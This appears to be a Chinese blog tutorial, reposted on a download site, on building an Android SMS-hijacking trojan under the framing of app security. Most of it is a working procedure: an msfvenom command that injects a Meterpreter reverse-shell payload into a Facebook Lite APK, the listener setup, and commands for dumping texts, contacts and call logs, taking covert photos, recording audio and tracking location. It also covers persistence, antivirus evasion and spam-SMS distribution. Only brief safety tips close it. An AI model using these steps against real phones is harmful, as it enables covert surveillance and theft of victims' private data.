从“短信劫持马”的制作来谈APP安全

这种短信劫持木马的概念和新闻我想大家都应该接触过了,就不怎么说概念了,具体的可以搜一搜新闻,一抓一大把。

复现短信劫持木马的制作

下面我用几种套件来完成短信劫持木马的还原,之前我在本地已经做过试验,所以下面的内容都均摘选自我的笔记。其实用 MSF 也可以做到,但是活的不长久,而且不过杀毒,体积偏小,很明显。
所以我们用一种 “ 寄生 ” 的方式来制作,后面会讲。

生成apk

目前有两种方法可以自动化的往 app 添加 payload,无论哪种生成,其实实现的目的都是一样的,只是 1 方法的作者把第二种方法集成到一键方式,但是本人自己使用过第一种的方式进行,因为各插件版本的原因没有成功,给原作者提供样本之后,原作者叫我自己解决。

遂推荐使用第二种方法:

  1. backdoor-apk。
  2. mterpreter 中自带的 msfvenom。

直接在 kali 的 shell 下执行:

msfvenom --platform android -x facebook_lite.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.114 LPORT=3389 -o facebook_lite_after.apk

执行完上面的命令,meterpreter 一般会对 apk 进行:

1.解包。
2.插入权限。
3.插入 payload 代码。
4.重新打包生成 apk。
5.重新签名并保存的操作。

结果成功:会生成一个 facebook_ lite_after.apk 的应用
结果失败:失败一般会发生在 2,3,4 处,因为有一些 apk 加固或者混淆了,解包之后的代码已经变了样,插入会出现错误,打包也会出现错误。最终导致 apk 不完整,无法生成 apk。

命令解读:

  • platform 指定平台,此处为 android。
  • x 指定使用的样板,可以理解为你要寄生在哪个 app 下面,
  • 此处是寄生在 facebook_lite.apk。
  • p 指定使用的 payload,此处是 android/meterpreter/
    reverse_tcp,后面的 LHOST 指定 payload 生效后要反弹的主机 ip,一般为 kali 或者安装了 meterpreter 的 linux 主机,此处 kali 的 ip 为192.168.1.114,LPORT 为端口号。
  • o 指定生成的文件。

注意:
msfpayload 和 msfencode 已经在新版本移除,以后只要使用 msfvenom 就行了,msfvenom 的大概使用说明如下:

MsfVenom - a Metasploit standalone payload generator.
    Also a replacement for msfpayload and msfencode.
    Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
    Options:
        -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
            --payload-options            List the payload's standard options
        -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
        -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
        -f, --format        <format>     Output format (use --help-formats for a list)
            --help-formats               List available formats
        -e, --encoder       <encoder>    The encoder to use
        -a, --arch          <arch>       The architecture to use
            --platform      <platform>   The platform of the payload
        -s, --space         <length>     The maximum size of the resulting payload
            --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
        -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
        -i, --iterations    <count>      The number of times to encode the payload
        -c, --add-code      <path>       Specify an additional win32 shellcode file to include
        -x, --template      <path>       Specify a custom executable file to use as a template
        -k, --keep                       Preserve the template behavior and inject the payload as a new thread
        -o, --out           <path>       Save the payload
        -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
            --smallest                   Generate the smallest possible payload
        -h, --help                       Show this message
 
# 监听

1.kali 的 shell 下执行 :msfconsole。
2.进入 meterpreter 后选择 exploit,执行 :use exploit/multi/handler 。
3.选择 payload,执行 :set payload android/meterpreter
/reverse_tcp。
4.设置 payload 的 option,此处先设置 LHOST,执行 : set LHOST 192.168.1.114。
5.设置 LPORT,执行 :set LPORT 3389。
6.开启 exploit 任务,-j 是 job,执行 :exploit -j。

如下:

msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.114
LHOST => 192.168.1.114
msf exploit(handler) > set LPORT 3389
LPORT => 3389
msf exploit(handler) > exploit -j
 
[*] Started reverse handler on 192.168.1.114:3389
[*] Starting the payload handler...

运行后,当用户安装了前面第一步生成 apk,打开软件后,就会在 meterpreter 看到用户上线,这里大概说一下大概操作

大概会看到这样的字眼:

[*] Meterpreter session 1 opened (192.168.1.114:3389 -> 119.137.2.209:12398) at 2018-05-06 19:26:13 +0800

解读一下大概的意思是有 1 个会话产生了,session 的 id 是 1。

注意:
192.168.1.114:3389 -> 119.137.2.209:12398,这里后面的 119.137.2.209 这个是安装了 apk 的安卓手机的 ip。

需要连接相应的 session,则只需敲 sessions -i 1 就可以连接 id 为 1 的 session。
连接上之后,就可以进行相应的功能操作。

下面整理常用的命令:

  • dump_calllog 通话记录。
  • dump_contacts 通讯录。
  • dump_sms 短信。
  • wlan_geolocate wifi 获取 gps 位置。
  • geolocate 经纬度。
  • sysinfo 系统信息。
  • ipconfig / ifconfig。
  • webcam_snap -i 1 或 2。

不知不觉拍照:

1:后置摄像头。
2:前置摄像头 。

record_mic 录制麦克风,shell 安卓的 adb shell 操作。

更多命令操作,敲 help 默认查看:

短信获取:

通讯录获取:

通话记录获取:

持久化

msf 和其他的应用绑定后,目前可知能进行持久的方法,参考方法如下:

https://www.yeahhub.com/persistent-backdoor-android-using-kali-linux-shell-script/

主要是上传一个在 sdcard / Download 中写入一个 sh 脚本,然后每隔多久就去启动相应包名的 app,但是需要 app 透明化或者需要自定义服务,让 payload 在应用后台服务中进行。

思考:
用 MSF 去做木马,原来的文件和本身寄生后的文件,只有几 kb 的差距,而且原 APP 功能一切正常,以上功能都只需要安装打开就能做到。

手机是不会报毒的,我测试腾讯杀毒,测试了魅族,测试了小米,测试了 vivo,均可通过安装查询的那个检查引擎。

哈勃的文件分析系统:

https://habo.qq.com/file/showdetail?pk=ADIGYV1lB2EIPls9

这个链接是哈勃的文件分析系统,被鉴定为无危害,只是申请了权限。

黑产场景还原

当初测试的场景就是上面这样去寄生一共本身不带壳的程序,然后通过垃圾短信群发这种

另外需要注意APP的来源比如:

1.能在不连接公用网络的情况下就不要连接公用 WIFI。
2.不要随意下载从网站上的 APP,有些 APP 带了点什么你是完全不知道的,尽管提供 APP 下载的站点是某某中心,尽量从官方和应用商店下载。
3.有必要请加装手机杀毒软件。

下载说明:
1、本站所有资源均从互联网上收集整理而来,仅供学习交流之用,因此不包含技术服务请大家谅解!
2、本站不提供任何实质性的付费和支付资源,所有需要积分下载的资源均为网站运营赞助费用或者线下劳务费用!
3、本站所有资源仅用于学习及研究使用,您必须在下载后的24小时内删除所下载资源,切勿用于商业用途,否则由此引发的法律纠纷及连带责任本站和发布者概不承担!
4、本站站内提供的所有可下载资源,本站保证未做任何负面改动(不包含修复bug和完善功能等正面优化或二次开发),但本站不保证资源的准确性、安全性和完整性,用户下载后自行斟酌,我们以交流学习为目的,并不是所有的源码都100%无错或无bug!如有链接无法下载、失效或广告,请联系客服处理!
5、本站资源除标明原创外均来自网络整理,版权归原作者或本站特约原创作者所有,如侵犯到您的合法权益,请立即告知本站,本站将及时予与删除并致以最深的歉意!
6、如果您也有好的资源或教程,您可以投稿发布,成功分享后有站币奖励和额外收入!
7、如果您喜欢该资源,请支持官方正版资源,以得到更好的正版服务!
8、请您认真阅读上述内容,注册本站用户或下载本站资源即您同意上述内容!
原文链接:https://www.dandroid.cn/20668,转载请注明出处。
0

评论0

显示验证码
没有账号?注册  忘记密码?